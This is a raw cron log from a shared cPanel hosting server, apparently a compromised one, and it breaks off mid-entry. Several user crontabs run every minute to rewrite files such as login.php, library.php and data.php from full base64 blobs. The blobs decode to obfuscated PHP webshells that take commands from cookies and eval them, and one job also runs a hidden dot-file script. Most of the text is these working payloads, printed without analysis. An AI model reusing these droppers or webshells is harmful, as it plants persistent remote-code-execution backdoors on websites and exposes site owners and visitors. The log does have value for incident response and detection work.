Apr 19 07:42:02 medusa CROND[26992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:42:02 medusa CROND[27037]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:42:02 medusa CROND[27127]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:42:02 medusa CROND[27130]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:42:02 medusa CROND[27132]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:42:02 medusa CROND[27134]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:42:02 medusa CROND[27136]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:42:02 medusa CROND[27139]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:42:02 medusa CROND[27135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:42:02 medusa CROND[27143]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:42:02 medusa CROND[27161]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:42:02 medusa CROND[27162]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:43:02 medusa CROND[17248]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:43:02 medusa CROND[17249]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:43:02 medusa CROND[17250]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:43:02 medusa CROND[17251]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:43:02 medusa CROND[17253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:43:02 medusa CROND[17255]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:43:02 medusa CROND[17259]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:43:02 medusa CROND[17256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:43:02 medusa CROND[17260]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:43:02 medusa CROND[17262]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:43:02 medusa CROND[17263]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:43:02 medusa CROND[17264]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Apr 19 07:43:02 medusa CROND[17267]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:43:02 medusa CROND[17270]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Apr 19 07:44:01 medusa CROND[7162]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:44:01 medusa CROND[7165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:44:01 medusa CROND[7260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:44:02 medusa CROND[7327]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:44:02 medusa CROND[7328]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:44:02 medusa CROND[7331]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZd